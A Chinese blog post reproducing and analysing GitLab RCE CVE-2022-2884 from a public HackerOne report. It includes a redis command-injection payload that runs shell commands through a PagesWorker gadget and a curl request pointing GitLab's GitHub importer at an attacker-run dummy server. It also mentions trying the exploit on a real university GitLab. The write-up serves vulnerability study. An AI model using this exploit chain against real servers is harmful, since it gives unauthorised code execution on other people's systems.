cve-2022-2884

Gitlab RCE复现与分析(CVE-2022-2884)

前言

前面几次组会讲的都是垃圾洞,这次想找一个影响比较大的讲讲

刚好翻hackerone的时候翻到一条几星期前disclose的report

gitlab的rce,三万多刀的赏金,还有一个CVE编号,感觉是比较有含金量的,于是跟进分析一下

顺便吐槽一下,很多在概述里写能rce的CVE(而且评分还不低)最后复现出来rce是能rce,但是有一堆很离谱的前置条件 = =|||
“我在提前知道考题的情况下能拿满分”

漏洞情报

gitlab官方对这个洞的评分是9.9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
"impact": {
"cvss": {
"vectorString": "AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "NONE",
"version": "3.1",
"baseScore": 9.9,
"baseSeverity": "CRITICAL"
}
//可以看到这个洞的利用条件是很宽松的的

影响范围也比较广

1
2
3
4
5
6
7
8
9
10
11
"version_data": [
{
"version_value": ">=11.3.4, <15.1.5"
},
{
"version_value": ">=15.2, <15.2.3"
},
{
"version_value": ">=15.3, <15.3.1"
}
]

漏洞复现

这里直接跟着hackerone的report走一遍就可以复现这个洞

https://hackerone.com/reports/1672388

环境搭建

这里用docker搭建gitlab,拉取的镜像为docker.io/gitlab/gitlab-ee:15.1.1-ee.0

官网说起gitlab需要4G内存,但是实测是8G以下根本起不出来(我的轻薄本8G直接寄了),游戏本风扇满转速勉强能跑

内存直接吃满

root用户的密码在/etc/gitlab/initial_root_password

漏洞复现

dummyserver附件

下载附件解压,打开redis_cpmmand.txt可以看到payload

1
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"PagesWorker\",\"args\":[\"class_eval\",\"IO.read('|(hostname; ps aux) > /tmp/ahihi ')\"], \"queue\":\"system_hook_push\"}"

这里执行的命令是(hostname; ps aux) > /tmp/ahihi

node ./index.js YOUR_IP YOUR_PORT起出服务,这里的ip和端口是dummy_server的ip和端口,要求gitlab环境能访问到

在gitlab里注册一个用户,生成一个scope为api的access token

发送如下请求

1
2
3
4
5
6
7
8
9
10
11
curl -kv "http://gitlab.example.com/api/v4/import/github" \
--request POST \
--header "content-type: application/json" \
--header "PRIVATE-TOKEN: YOUR_GITLAB_TOKEN" \
--data '{
"personal_access_token": "abcdefgnamaissocool",
"repo_id": "356289002",
"target_namespace": "YOUR_GITLAB_USERNAME",
"new_name": "poc-rce",
"github_hostname": "http://YOUR_IP:YOUR_PORT"
}'

本地测试,成功rce

简略分析

gitlab在获取来自github的数据时会使用一个叫做Octokit的toolkit,而Octokit里有一个很神奇的组件叫Sawyer,用于通过github的api获取一些数据

为什么神奇呢?因为这个组件在获取数据的时候,如果数据写成了键值对的格式,那么在取得数据时会直接生成一个Object

1
2
3
4
5
6
7
8
9
10
irb(main):641:0> Sawyer::VERSION
=> "0.8.2"
irb(main):642:0> a = Sawyer::Resource.new( Sawyer::Agent.new(""), to_s: "example", length: 1)
=>
{:to_s=>"example", :length=>1}
...
irb(main):643:0> a.to_s
=> "example"
irb(main):644:0> a.length
=> 1

在获取到数据后,gitlab会进行一些和数据库相关的操作,这里又涉及到build_command这个function
https://github.com/redis/redis-rb/blob/v4.4.0/lib/redis/connection/command_helper.rb#L8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def build_command(args)
command = [nil]

args.each do |i|
if i.is_a? Array
i.each do |j|
j = j.to_s
command << "$#{j.bytesize}"
command << j
end
else
i = i.to_s
command << "$#{i.bytesize}"
command << i
end
end

注意此处会通过传入的参数中的bytesize的值来分割command,如果传入一个参数为{"bytesize": 2, "to_s": "1234REDIS_COMMANDS" },就可以造成一个REDIS的命令注入(由于CRLF的原因,我们需要多填充两个字节)

然后再通过一些先前的gitlabRCE所使用的现成gadget,将可以执行bash命令

在dummy sever的附件里,替换了number这个参数,在导入issue时执行了redis命令

总结一下

  • 搭建一个虚假的可被gitlab导入的github服务
  • 通过控制特定参数传入一个object
  • redis命令注入执行redis命令
  • 利用gadget执行bash命令

这个CVE的利用有两个条件:可被靶机访问的ip+已注册用户

总体来说门槛还是比较低的

后记

gitlab跑在自己的电脑上真的非常吃内存……我一开始跑在自己服务器上直接把自己机子跑卡死了,只能reboot >_<

这个cve的复现只是跟着别人的report走了一遍大概流程,自己也稍微审了一下gitlab的代码(但是码量实在太大,docker里的环境又不太好调试,只是跟了一下最基本的逻辑,也没审出啥别的东西来)

开会讲这个的时候白神直接丢了个byr的gitlab让我试试,结果发现byr的gitlab更新还是很勤快的,啥也没打下来

最近一段时间有点摸了,感觉要继续加油努力了